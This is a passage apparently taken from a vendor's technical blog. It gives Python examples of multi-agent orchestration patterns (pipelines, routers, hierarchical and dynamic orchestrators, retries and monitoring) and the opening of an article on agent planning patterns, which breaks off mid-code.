self.tasks: dict[str, Task] = {}
self.results: dict[str, str] = {}
def run(self, goal: str) -> dict:
"""Orchestrate agents to achieve the goal"""
# Phase 1: Decompose into tasks
tasks = self._decompose(goal)
self.tasks = {t.id: t for t in tasks}
print(f"Created {len(tasks)} tasks")
# Phase 2: Execute tasks respecting dependencies
while not self._all_complete():
# Find tasks ready to run
ready = self._get_ready_tasks()
if not ready:
if self._has_failures():
break
continue
# Execute ready tasks in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
futures = {
executor.submit(self._execute_task, task): task
for task in ready
}
for future in concurrent.futures.as_completed(futures):
task = futures[future]
try:
result = future.result()
task.status = TaskStatus.COMPLETED
task.result = result
self.results[task.id] = result
except Exception as e:
task.status = TaskStatus.FAILED
task.error = str(e)
# Phase 3: Synthesize results
if self._has_failures():
return {
"success": False,
"completed": [t.id for t in self.tasks.values() if t.status == TaskStatus.COMPLETED],
"failed": [t.id for t in self.tasks.values() if t.status == TaskStatus.FAILED],
"partial_results": self.results
}
final_result = self._synthesize(goal, self.results)
return {
"success": True,
"result": final_result,
"tasks_completed": len(self.tasks)
}
def _decompose(self, goal: str) -> list[Task]:
"""Break goal into tasks with dependencies"""
agent_descriptions = "\n".join([
f"- {name}: {agent.description}"
for name, agent in self.agents.items()
])
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": f"""Decompose this goal into tasks for available agents.
Available agents:
{agent_descriptions}
Return JSON:
{{
"tasks": [
{{
"id": "task_1",
"description": "What to do",
"agent_type": "agent_name",
"dependencies": []
}},
{{
"id": "task_2",
"description": "Next task",
"agent_type": "agent_name",
"dependencies": ["task_1"]
}}
]
}}
Rules:
- Break into 2-8 tasks
- Each task should be focused and achievable
- List dependencies (tasks that must complete first)
- Assign to the most appropriate agent"""
}, {
"role": "user",
"content": goal
}],
response_format={"type": "json_object"}
)
data = json.loads(response.choices[0].message.content)
return [
Task(
id=t["id"],
description=t["description"],
agent_type=t["agent_type"],
dependencies=t.get("dependencies", [])
)
for t in data["tasks"]
]
def _get_ready_tasks(self) -> list[Task]:
"""Get tasks whose dependencies are all complete"""
ready = []
for task in self.tasks.values():
if task.status != TaskStatus.PENDING:
continue
deps_complete = all(
self.tasks[dep].status == TaskStatus.COMPLETED
for dep in task.dependencies
)
if deps_complete:
ready.append(task)
return ready
def _execute_task(self, task: Task) -> str:
"""Execute a single task using the appropriate agent"""
task.status = TaskStatus.RUNNING
agent = self.agents.get(task.agent_type)
if not agent:
raise ValueError(f"Unknown agent type: {task.agent_type}")
# Gather context from dependencies
context = {
dep: self.results[dep]
for dep in task.dependencies
}
return agent.execute(task.description, context)
def _all_complete(self) -> bool:
return all(
t.status in [TaskStatus.COMPLETED, TaskStatus.FAILED]
for t in self.tasks.values()
)
def _has_failures(self) -> bool:
return any(t.status == TaskStatus.FAILED for t in self.tasks.values())
def _synthesize(self, goal: str, results: dict) -> str:
"""Combine task results into final output"""
results_text = "\n\n".join([
f"=== {task_id} ===\n{result}"
for task_id, result in results.items()
])
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Synthesize these task results into a coherent final response."
}, {
"role": "user",
"content": f"Goal: {goal}\n\nTask Results:\n{results_text}"
}]
)
return response.choices[0].message.content
# Define specialized agents
def create_data_analyst():
client = openai.OpenAI()
def execute(task: str, context: dict) -> str:
response = client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "You are a data analyst. Analyze data and provide insights."
}, {
"role": "user",
"content": f"Task: {task}\n\nContext: {json.dumps(context)}"
}]
)
return response.choices[0].message.content
return Agent(
name="data_analyst",
description="Analyzes data, finds patterns, calculates statistics",
execute=execute
)
def create_writer():
client = openai.OpenAI()
def execute(task: str, context: dict) -> str:
response = client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "You are a professional writer. Create clear, engaging content."
}, {
"role": "user",
"content": f"Task: {task}\n\nContext: {json.dumps(context)}"
}]
)
return response.choices[0].message.content
return Agent(
name="writer",
description="Writes reports, summaries, and documentation",
execute=execute
)
def create_coder():
from hopx import Sandbox
client = openai.OpenAI()
def execute(task: str, context: dict) -> str:
# Generate code
response = client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Write Python code to accomplish the task. Output only code."
}, {
"role": "user",
"content": f"Task: {task}\n\nContext: {json.dumps(context)}"
}]
)
code = response.choices[0].message.content
# Execute in sandbox
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/task.py", code)
result = sandbox.commands.run("python /app/task.py")
return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}"
finally:
sandbox.kill()
return Agent(
name="coder",
description="Writes and executes Python code for data processing and analysis",
execute=execute
)
# Usage
orchestrator = Orchestrator({
"data_analyst": create_data_analyst(),
"writer": create_writer(),
"coder": create_coder()
})
result = orchestrator.run(
"Analyze our Q4 sales data, identify the top 3 trends, "
"create visualizations, and write an executive summary."
)
print(result)
```
## Orchestration Patterns
### Pattern 1: Sequential Pipeline
Tasks flow in a fixed order:
```
Input → Agent A → Agent B → Agent C → Output
```
```python
class PipelineOrchestrator:
def __init__(self, stages: list[Agent]):
self.stages = stages
def run(self, input_data: str) -> str:
current = input_data
for stage in self.stages:
print(f"Running stage: {stage.name}")
current = stage.execute(current, {})
return current
# Usage
pipeline = PipelineOrchestrator([
extract_agent, # Extract key information
transform_agent, # Transform data
analyze_agent, # Analyze patterns
report_agent # Generate report
])
result = pipeline.run(raw_document)
```
### Pattern 2: Router/Dispatcher
Route tasks to specialized agents based on content:
```python
class RouterOrchestrator:
def __init__(self, agents: dict[str, Agent]):
self.client = openai.OpenAI()
self.agents = agents
def run(self, task: str) -> str:
# Classify the task
agent_name = self._route(task)
# Execute with selected agent
agent = self.agents[agent_name]
return agent.execute(task, {})
def _route(self, task: str) -> str:
agent_options = "\n".join([
f"- {name}: {agent.description}"
for name, agent in self.agents.items()
])
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Which agent should handle this task?
Task: {task}
Agents:
{agent_options}
Reply with just the agent name."""
}]
)
return response.choices[0].message.content.strip()
# Usage
router = RouterOrchestrator({
"code": code_agent,
"writing": writing_agent,
"research": research_agent,
"math": math_agent
})
# Automatically routes to appropriate agent
result = router.run("Write a function to calculate compound interest")
```
### Pattern 3: Hierarchical Orchestration
Orchestrators managing other orchestrators:
```
┌─────────────────┐
│ Master │
│ Orchestrator │
└────────┬────────┘
│
┌─────────────────┼─────────────────┐
▼ ▼ ▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Research │ │ Development │ │ QA │
│ Orchestrator│ │ Orchestrator│ │ Orchestrator│
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
│ │ │
┌───┼───┐ ┌───┼───┐ ┌───┼───┐
▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼
A1 A2 A3 A4 A5 A6 A7 A8 A9
```
```python
class HierarchicalOrchestrator:
def __init__(self, sub_orchestrators: dict[str, Orchestrator]):
self.client = openai.OpenAI()
self.sub_orchestrators = sub_orchestrators
def run(self, goal: str) -> dict:
# Decompose into high-level phases
phases = self._plan_phases(goal)
results = {}
for phase in phases:
sub_orch = self.sub_orchestrators[phase["orchestrator"]]
result = sub_orch.run(phase["goal"])
results[phase["name"]] = result
return self._synthesize(goal, results)
def _plan_phases(self, goal: str) -> list[dict]:
orchestrator_list = ", ".join(self.sub_orchestrators.keys())
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Break this goal into phases.
Goal: {goal}
Available orchestrators: {orchestrator_list}
Return JSON:
{{"phases": [{{"name": "phase_1", "orchestrator": "name", "goal": "sub-goal"}}]}}"""
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)["phases"]
```
### Pattern 4: Dynamic Agent Creation
Create agents on-the-fly based on task requirements:
```python
class DynamicOrchestrator:
def __init__(self):
self.client = openai.OpenAI()
self.agent_cache = {}
def run(self, goal: str) -> str:
# Determine what agents we need
agent_specs = self._design_agents(goal)
# Create or retrieve agents
agents = {}
for spec in agent_specs:
agent = self._get_or_create_agent(spec)
agents[spec["name"]] = agent
# Create orchestrator with these agents
orchestrator = Orchestrator(agents)
return orchestrator.run(goal)
def _design_agents(self, goal: str) -> list[dict]:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"""Design specialized agents for this goal.
Goal: {goal}
Return JSON:
{{
"agents": [
{{
"name": "agent_name",
"role": "expert role description",
"capabilities": ["capability1", "capability2"],
"system_prompt": "You are..."
}}
]
}}"""
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)["agents"]
def _get_or_create_agent(self, spec: dict) -> Agent:
cache_key = spec["name"]
if cache_key in self.agent_cache:
return self.agent_cache[cache_key]
def create_execute(system_prompt):
def execute(task: str, context: dict) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": system_prompt},
{"role": "user", "content": f"Task: {task}\nContext: {context}"}
]
)
return response.choices[0].message.content
return execute
agent = Agent(
name=spec["name"],
description=spec["role"],
execute=create_execute(spec["system_prompt"])
)
self.agent_cache[cache_key] = agent
return agent
```
## Error Handling and Recovery
### Retry with Backoff
```python
class ResilientOrchestrator(Orchestrator):
def __init__(self, agents, max_retries=3):
super().__init__(agents)
self.max_retries = max_retries
def _execute_task(self, task: Task) -> str:
last_error = None
for attempt in range(self.max_retries):
try:
return super()._execute_task(task)
except Exception as e:
last_error = e
wait_time = 2 ** attempt # Exponential backoff
print(f"Task {task.id} failed, retrying in {wait_time}s...")
time.sleep(wait_time)
raise last_error
```
### Fallback Agents
```python
class FallbackOrchestrator(Orchestrator):
def __init__(self, agents, fallback_agents):
super().__init__(agents)
self.fallback_agents = fallback_agents
def _execute_task(self, task: Task) -> str:
try:
return super()._execute_task(task)
except Exception as primary_error:
# Try fallback agent
fallback = self.fallback_agents.get(task.agent_type)
if fallback:
print(f"Primary agent failed, using fallback for {task.id}")
return fallback.execute(task.description, self._get_context(task))
raise primary_error
```
### Partial Results
```python
class GracefulOrchestrator(Orchestrator):
def run(self, goal: str) -> dict:
result = super().run(goal)
if not result["success"]:
# Return what we could complete
completed_results = {
t.id: t.result
for t in self.tasks.values()
if t.status == TaskStatus.COMPLETED
}
return {
"success": False,
"partial_result": self._synthesize_partial(goal, completed_results),
"completed_tasks": list(completed_results.keys()),
"failed_tasks": [t.id for t in self.tasks.values() if t.status == TaskStatus.FAILED],
"note": "Some tasks failed. Partial results provided."
}
return result
```
## Production Orchestrator
A complete production-ready orchestrator with monitoring:
```python
from hopx import Sandbox
import openai
import json
from datetime import datetime
from dataclasses import dataclass, field
import asyncio
from typing import Optional
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("orchestrator")
@dataclass
class ExecutionMetrics:
start_time: datetime
end_time: Optional[datetime] = None
tasks_total: int = 0
tasks_completed: int = 0
tasks_failed: int = 0
total_tokens: int = 0
@property
def duration_seconds(self) -> float:
if self.end_time:
return (self.end_time - self.start_time).total_seconds()
return 0
class ProductionOrchestrator:
def __init__(
self,
agents: dict,
max_parallel: int = 5,
task_timeout: int = 300,
enable_monitoring: bool = True
):
self.client = openai.OpenAI()
self.agents = agents
self.max_parallel = max_parallel
self.task_timeout = task_timeout
self.enable_monitoring = enable_monitoring
self.metrics = None
async def run(self, goal: str, metadata: dict = None) -> dict:
"""Execute orchestrated workflow"""
self.metrics = ExecutionMetrics(start_time=datetime.now())
logger.info(f"Starting orchestration: {goal[:100]}...")
try:
# Decompose
tasks = await self._decompose(goal)
self.metrics.tasks_total = len(tasks)
logger.info(f"Decomposed into {len(tasks)} tasks")
# Execute
results = await self._execute_all(tasks)
# Synthesize
final = await self._synthesize(goal, results)
self.metrics.end_time = datetime.now()
return {
"success": True,
"result": final,
"metrics": self._get_metrics_dict(),
"trace": self._get_execution_trace(tasks)
}
except Exception as e:
logger.error(f"Orchestration failed: {e}")
self.metrics.end_time = datetime.now()
return {
"success": False,
"error": str(e),
"metrics": self._get_metrics_dict()
}
async def _execute_all(self, tasks: list) -> dict:
"""Execute all tasks respecting dependencies"""
task_map = {t["id"]: t for t in tasks}
results = {}
completed = set()
while len(completed) < len(tasks):
# Find ready tasks
ready = [
t for t in tasks
if t["id"] not in completed
and all(dep in completed for dep in t.get("dependencies", []))
]
if not ready:
pending = [t["id"] for t in tasks if t["id"] not in completed]
raise RuntimeError(f"Deadlock detected. Pending: {pending}")
# Execute batch in parallel
batch_results = await asyncio.gather(*[
self._execute_single(t, results)
for t in ready[:self.max_parallel]
], return_exceptions=True)
# Process results
for task, result in zip(ready[:self.max_parallel], batch_results):
if isinstance(result, Exception):
self.metrics.tasks_failed += 1
logger.error(f"Task {task['id']} failed: {result}")
raise result
results[task["id"]] = result
completed.add(task["id"])
self.metrics.tasks_completed += 1
logger.info(f"Completed: {task['id']}")
return results
async def _execute_single(self, task: dict, context: dict) -> str:
"""Execute single task with timeout"""
agent = self.agents.get(task["agent"])
if not agent:
raise ValueError(f"Unknown agent: {task['agent']}")
# Build context from dependencies
dep_context = {
dep: context[dep]
for dep in task.get("dependencies", [])
if dep in context
}
try:
result = await asyncio.wait_for(
asyncio.to_thread(agent.execute, task["description"], dep_context),
timeout=self.task_timeout
)
return result
except asyncio.TimeoutError:
raise TimeoutError(f"Task {task['id']} timed out after {self.task_timeout}s")
def _get_metrics_dict(self) -> dict:
return {
"duration_seconds": self.metrics.duration_seconds,
"tasks_total": self.metrics.tasks_total,
"tasks_completed": self.metrics.tasks_completed,
"tasks_failed": self.metrics.tasks_failed,
"success_rate": self.metrics.tasks_completed / max(self.metrics.tasks_total, 1)
}
def _get_execution_trace(self, tasks: list) -> list:
return [
{
"id": t["id"],
"agent": t["agent"],
"description": t["description"][:100],
"dependencies": t.get("dependencies", [])
}
for t in tasks
]
# Usage
async def main():
orchestrator = ProductionOrchestrator(
agents={
"researcher": research_agent,
"analyst": analyst_agent,
"writer": writer_agent,
"coder": coder_agent
},
max_parallel=3,
task_timeout=120
)
result = await orchestrator.run(
"Research the latest AI agent frameworks, analyze their features, "
"create a comparison table, and write a recommendation report."
)
print(f"Success: {result['success']}")
print(f"Duration: {result['metrics']['duration_seconds']:.1f}s")
print(f"Tasks: {result['metrics']['tasks_completed']}/{result['metrics']['tasks_total']}")
if result['success']:
print(f"\nResult:\n{result['result']}")
# asyncio.run(main())
```
## Best Practices
### 1. Keep Orchestrator Logic Simple
```python
# ❌ Orchestrator doing too much
class BadOrchestrator:
def run(self, goal):
# Orchestrator shouldn't contain domain logic
if "sales" in goal:
return self._analyze_sales()
elif "marketing" in goal:
return self._analyze_marketing()
# ✅ Orchestrator focuses on coordination
class GoodOrchestrator:
def run(self, goal):
tasks = self._decompose(goal) # What to do
agents = self._select_agents(tasks) # Who does it
results = self._execute(tasks, agents) # Coordination
return self._synthesize(results) # Combine results
```
### 2. Design Clear Agent Interfaces
```python
# All agents should follow the same interface
class AgentInterface:
def execute(self, task: str, context: dict) -> str:
"""
Args:
task: What to do
context: Results from dependency tasks
Returns:
Result as string (or structured data as JSON string)
"""
raise NotImplementedError
```
### 3. Monitor Everything
```python
def _execute_task(self, task):
start = time.time()
try:
result = self.agents[task.agent].execute(task.description, context)
self.metrics.record({
"task_id": task.id,
"agent": task.agent,
"duration": time.time() - start,
"success": True,
"result_size": len(result)
})
return result
except Exception as e:
self.metrics.record({
"task_id": task.id,
"agent": task.agent,
"duration": time.time() - start,
"success": False,
"error": str(e)
})
raise
```
### 4. Enable Graceful Degradation
```python
def run(self, goal: str) -> dict:
try:
return self._full_execution(goal)
except Exception as e:
logger.warning(f"Full execution failed: {e}")
# Try simpler approach
try:
return self._simplified_execution(goal)
except:
# Last resort: single agent
return self._single_agent_fallback(goal)
```
## Conclusion
The Orchestrator Pattern is how you scale AI agents to enterprise complexity:
- **Task decomposition** breaks big problems into manageable pieces
- **Agent specialization** ensures each task is handled by an expert
- **Parallel execution** maximizes throughput
- **Dependency management** ensures correct ordering
- **Fault tolerance** keeps systems running despite failures
Start with a simple pipeline orchestrator. Add routing when you have diverse task types. Move to hierarchical orchestration for truly complex workflows.
The system that orchestrates specialists outperforms the generalist. Every time.
---
Ready to orchestrate agents with secure code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that give each agent isolated environments.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals
- [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Patterns for agent coordination
- [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Task decomposition strategies
- [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Agent capabilities
- [Human-in-the-Loop](/blog/ai-agents/human-in-the-loop-ai-agents) — Orchestration with human oversight
---
## The Planning Pattern: How AI Agents Break Down Complex Goals
URL: https://hopx.ai/blog/ai-agents/planning-pattern-ai-agents/
Category: AI Agents
Published: 2025-11-27
# The Planning Pattern: How AI Agents Break Down Complex Goals
Ask a junior developer to "build a user authentication system" and they'll start coding immediately. Ask a senior developer the same thing, and they'll first ask questions, sketch out an architecture, identify dependencies, and create a plan.
AI agents work the same way. **Planning is what separates agents that flail from agents that succeed.**
This guide shows you how to implement planning in your AI agents—from simple linear plans to adaptive, hierarchical planning systems.
## What Is the Planning Pattern?
Planning is the process of decomposing a high-level goal into a sequence of actionable steps before execution begins:
```
┌─────────────────────────────────────────────────────────────┐
│ "Build me a dashboard" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ PLANNING │
│ │
│ 1. Gather requirements │
│ 2. Design data schema │
│ 3. Create API endpoints │
│ 4. Build frontend components │
│ 5. Integrate and test │
│ 6. Deploy │
│ │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ EXECUTION │
│ │
│ Step 1 → Step 2 → Step 3 → ... → Done │
│ │
└─────────────────────────────────────────────────────────────┘
```
Without planning:
- Agent jumps straight into action
- Often gets stuck or goes in circles
- Misses critical steps
- Can't estimate effort or progress
With planning:
- Agent understands the full scope
- Executes steps in logical order
- Tracks progress toward goal
- Can adapt when obstacles arise
## Why Planning Matters
### 1. Complex Tasks Require Decomposition
LLMs have limited context windows and attention spans. A single prompt for a complex task often fails because the model can't hold all requirements simultaneously.
Planning breaks the problem into chunks the model can handle:
```python
# ❌ Single complex prompt - often fails
"Create a complete e-commerce site with user auth, product catalog,
shopping cart, checkout, payment integration, and admin panel"
# ✅ Planned approach - each step is manageable
plan = [
"Set up project structure and database",
"Implement user authentication",
"Create product catalog with CRUD",
"Build shopping cart functionality",
"Add checkout flow",
"Integrate payment provider",
"Build admin dashboard"
]
```
### 2. Dependencies and Order Matter
Some tasks depend on others. Planning identifies these dependencies:
```
┌──────────────────┐
│ Create database │
└────────┬─────────┘
│
┌────┴────┐
▼ ▼
┌───────┐ ┌───────┐
│ Auth │ │Product│
│ API │ │ API │
└───┬───┘ └───┬───┘
│ │
└────┬────┘
▼
┌─────────┐
│ Cart │
│ API │
└────┬────┘
│
▼
┌─────────┐
│Checkout │
└─────────┘
```
### 3. Progress Tracking and Recovery
With a plan, you can:
- Show progress ("Step 3 of 7 complete")
- Resume after failures
- Skip completed steps
- Estimate remaining time
## Basic Planning Implementation
Here's a minimal but complete planning agent:
```python
import openai
import json
from dataclasses import dataclass
@dataclass
class PlanStep:
id: str
description: str
dependencies: list[str]
status: str = "pending" # pending, in_progress, completed, failed
@dataclass
class Plan:
goal: str
steps: list[PlanStep]
def get_next_step(self) -> PlanStep | None:
for step in self.steps:
if step.status == "pending":
# Check if dependencies are met
deps_met = all(
self.get_step(dep).status == "completed"
for dep in step.dependencies
)
if deps_met:
return step
return None
def get_step(self, step_id: str) -> PlanStep:
return next(s for s in self.steps if s.id == step_id)
class PlanningAgent:
def __init__(self):
self.client = openai.OpenAI()
def run(self, goal: str) -> str:
# Phase 1: Create plan
plan = self._create_plan(goal)
print(f"Created plan with {len(plan.steps)} steps")
# Phase 2: Execute plan
results = {}
while True:
step = plan.get_next_step()
if not step:
break
step.status = "in_progress"
print(f"Executing: {step.description}")
try:
result = self._execute_step(step, results)
results[step.id] = result
step.status = "completed"
print(f"Completed: {step.id}")
except Exception as e:
step.status = "failed"
print(f"Failed: {step.id} - {e}")
# Optionally: replan or abort
# Phase 3: Synthesize results
return self._synthesize(goal, results)
def _create_plan(self, goal: str) -> Plan:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Create a plan to achieve the goal. Return JSON:
{
"steps": [
{
"id": "step_1",
"description": "What to do",
"dependencies": []
},
{
"id": "step_2",
"description": "What to do next",
"dependencies": ["step_1"]
}
]
}
Rules:
- Break into 3-10 concrete steps
- Each step should be independently executable
- List dependencies (steps that must complete first)
- Order from first to last"""
}, {
"role": "user",
"content": f"Goal: {goal}"
}],
response_format={"type": "json_object"}
)
data = json.loads(response.choices[0].message.content)
steps = [
PlanStep(
id=s["id"],
description=s["description"],
dependencies=s.get("dependencies", [])
)
for s in data["steps"]
]
return Plan(goal=goal, steps=steps)
def _execute_step(self, step: PlanStep, context: dict) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Execute the step and return the result."
}, {
"role": "user",
"content": f"Step: {step.description}\n\nContext from previous steps:\n{json.dumps(context, indent=2)}"
}]
)
return response.choices[0].message.content
def _synthesize(self, goal: str, results: dict) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": "Synthesize the results into a final answer."
}, {
"role": "user",
"content": f"Goal: {goal}\n\nResults:\n{json.dumps(results, indent=2)}"
}]
)
return response.choices[0].message.content
# Usage
agent = PlanningAgent()
result = agent.run("Research the top 3 Python web frameworks and create a comparison table")
print(result)
```
## Planning Patterns
### Pattern 1: Linear Planning
Simple sequence of steps without branching:
```
Step 1 → Step 2 → Step 3 → Step 4 → Done
```
```python
def linear_plan(goal: str) -> list[str]:
response = client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"Break this into sequential steps:\n{goal}"
}]
)
# Parse steps
steps = parse_numbered_list(response.choices[0].message.content)
return steps
def execute_linear_plan(steps: list[str]) -> list[str]:
results = []
for step in steps:
result = execute_step(step, results)
results.append(result)
return results
```
**Best for**: Simple, well-understood tasks with clear sequences.
### Pattern 2: DAG Planning (Dependency Graph)
Steps with explicit dependencies, allowing parallel execution:
```
┌─────────┐
│ Step 1 │
└────┬────┘
│
┌───────┴───────┐
▼ ▼
┌─────────┐ ┌─────────┐
│ Step 2a │ │ Step 2b │ ← Can run in parallel
└────┬────┘ └────┬────┘
│ │
└───────┬───────┘
▼
┌─────────┐
│ Step 3 │
└─────────┘
```
```python
from concurrent.futures import ThreadPoolExecutor, as_completed
def execute_dag_plan(plan: Plan) -> dict:
results = {}
completed = set()
with ThreadPoolExecutor(max_workers=4) as executor:
while len(completed) < len(plan.steps):
# Find all steps that can run now
ready = [
step for step in plan.steps
if step.id not in completed
and all(dep in completed for dep in step.dependencies)
]
if not ready:
break # No progress possible
# Submit all ready steps
futures = {
executor.submit(execute_step, step, results): step
for step in ready
}
# Collect results
for future in as_completed(futures):
step = futures[future]
results[step.id] = future.result()
completed.add(step.id)
return results
```
**Best for**: Complex tasks with independent subtasks that can parallelize.
### Pattern 3: Hierarchical Planning
High-level plan decomposes into sub-plans:
```
Goal: "Create a blog platform"
│
├── Sub-goal: "Set up backend"
│ ├── Step: Create database schema
│ ├── Step: Implement user auth
│ └── Step: Build post API
│
├── Sub-goal: "Build frontend"
│ ├── Step: Create layout components
│ ├── Step: Build post editor
│ └── Step: Add routing
│
└── Sub-goal: "Deploy"
├── Step: Configure hosting
└── Step: Set up CI/CD
```
```python
class HierarchicalPlanner:
def __init__(self, max_depth: int = 3):
self.client = openai.OpenAI()
self.max_depth = max_depth
def plan(self, goal: str, depth: int = 0) -> dict:
if depth >= self.max_depth:
return {"goal": goal, "type": "leaf", "steps": []}
# Get high-level breakdown
subgoals = self._decompose(goal)
if len(subgoals) == 1 and subgoals[0] == goal:
# Can't decompose further
return {"goal": goal, "type": "leaf", "steps": []}
# Recursively plan each subgoal
children = []
for subgoal in subgoals:
child_plan = self.plan(subgoal, depth + 1)
children.append(child_plan)
return {
"goal": goal,
"type": "branch",
"children": children
}
def _decompose(self, goal: str) -> list[str]:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Break the goal into 2-5 major subgoals.
If the goal is already atomic (can't be broken down), return just the goal.
Return as JSON: {"subgoals": ["...", "..."]}"""
}, {
"role": "user",
"content": goal
}],
response_format={"type": "json_object"}
)
data = json.loads(response.choices[0].message.content)
return data["subgoals"]
def execute(self, plan: dict) -> dict:
if plan["type"] == "leaf":
return {"goal": plan["goal"], "result": self._execute_leaf(plan["goal"])}
results = []
for child in plan["children"]:
result = self.execute(child)
results.append(result)
return {
"goal": plan["goal"],
"children_results": results
}
```
**Best for**: Very complex, multi-faceted goals that benefit from divide-and-conquer.
### Pattern 4: Adaptive Planning
Plan adjusts based on execution results:
```
┌─────────────────────────────────────────────────────────────┐
│ PLAN │
│ Step 1 → Step 2 → Step 3 → Step 4 │
└─────────────────────────────────────────────────────────────┘
│
▼ Execute Step 2
│
▼ Step 2 fails!
│
┌─────────────────────────────────────────────────────────────┐
│ REPLAN │
│ Step 1 ✓ → Step 2b → Step 2c → Step 3 → Step 4 │
│ (alternative approach) │
└─────────────────────────────────────────────────────────────┘
```
```python
class AdaptivePlanner:
def __init__(self):
self.client = openai.OpenAI()
self.max_replans = 3
def run(self, goal: str) -> str:
plan = self._create_plan(goal)
completed_steps = []
replan_count = 0
while plan.get_next_step():
step = plan.get_next_step()
try:
result = self._execute_step(step, completed_steps)
completed_steps.append({
"step": step.description,
"result": result,
"status": "success"
})
step.status = "completed"
except Exception as e:
completed_steps.append({
"step": step.description,
"error": str(e),
"status": "failed"
})
if replan_count >= self.max_replans:
raise Exception("Max replans exceeded")
# Replan from current state
plan = self._replan(goal, completed_steps, str(e))
replan_count += 1
print(f"Replanned (attempt {replan_count})")
return self._synthesize(goal, completed_steps)
def _replan(self, goal: str, completed: list, error: str) -> Plan:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Create a revised plan given what's been done and what failed.
Return JSON with remaining steps only."""
}, {
"role": "user",
"content": f"""Goal: {goal}
Completed steps:
{json.dumps(completed, indent=2)}
Last error: {error}
Create a new plan to complete the goal, working around the failure."""
}],
response_format={"type": "json_object"}
)
# Parse and return new plan
data = json.loads(response.choices[0].message.content)
return self._parse_plan(data)
```
**Best for**: Uncertain environments where steps may fail unpredictably.
## Planning with Code Execution
For technical tasks, planning should include actual code execution to verify each step:
```python
from hopx import Sandbox
class CodePlanningAgent:
def __init__(self):
self.client = openai.OpenAI()
self.sandbox = None
def run(self, goal: str) -> str:
# Create persistent sandbox for the session
self.sandbox = Sandbox.create(template="code-interpreter")
try:
# Plan
plan = self._create_plan(goal)
# Execute each step with code
for step in plan.steps:
success = self._execute_code_step(step)
if not success:
# Replan or handle failure
plan = self._replan_from_failure(goal, plan, step)
# Get final result
return self._get_final_result(goal, plan)
finally:
self.sandbox.kill()
def _execute_code_step(self, step: PlanStep) -> bool:
# Generate code for this step
code = self._generate_code(step)
# Execute in sandbox
self.sandbox.files.write("/app/step.py", code)
result = self.sandbox.commands.run("python /app/step.py")
if result.exit_code == 0:
step.status = "completed"
step.result = result.stdout
return True
else:
step.status = "failed"
step.error = result.stderr
return False
def _generate_code(self, step: PlanStep) -> str:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Generate Python code to accomplish this step.
The code should:
- Be complete and runnable
- Print results to stdout
- Handle errors gracefully
- Save any outputs to files if needed"""
}, {
"role": "user",
"content": f"Step: {step.description}"
}]
)
return self._extract_code(response.choices[0].message.content)
```
## Real-World Example: Research Agent
Here's a complete planning agent that researches a topic:
```python
from hopx import Sandbox
import openai
import json
class ResearchAgent:
def __init__(self):
self.client = openai.OpenAI()
def research(self, topic: str) -> dict:
# Phase 1: Plan the research
plan = self._plan_research(topic)
print(f"Research plan: {len(plan)} steps")
# Phase 2: Execute research steps
findings = []
for i, step in enumerate(plan):
print(f"Step {i+1}/{len(plan)}: {step['action']}")
if step["action"] == "search":
result = self._search(step["query"])
elif step["action"] == "analyze":
result = self._analyze(step["data"], step["question"])
elif step["action"] == "synthesize":
result = self._synthesize(step["findings"])
else:
result = {"error": f"Unknown action: {step['action']}"}
findings.append({
"step": step,
"result": result
})
# Phase 3: Generate final report
report = self._generate_report(topic, findings)
return {
"topic": topic,
"plan": plan,
"findings": findings,
"report": report
}
def _plan_research(self, topic: str) -> list:
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "system",
"content": """Plan a research investigation. Return JSON:
{
"steps": [
{"action": "search", "query": "search terms"},
{"action": "analyze", "data": "what to analyze", "question": "what to find"},
{"action": "synthesize", "findings": ["finding1", "finding2"]}
]
}
Available actions:
- search: Search for information
- analyze: Analyze data to answer a question
- synthesize: Combine findings into insights"""
}, {
"role": "user",
"content": f"Research topic: {topic}"
}],
response_format={"type": "json_object"}
)
return json.loads(response.choices[0].message.content)["steps"]
def _search(self, query: str) -> dict:
# In production, use a real search API
response = self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"What do you know about: {query}"
}]
)
return {"query": query, "results": response.choices[0].message.content}
def _analyze(self, data: str, question: str) -> dict:
sandbox = Sandbox.create(template="code-interpreter")
try:
# Use code to analyze
analysis_code = f'''
import json
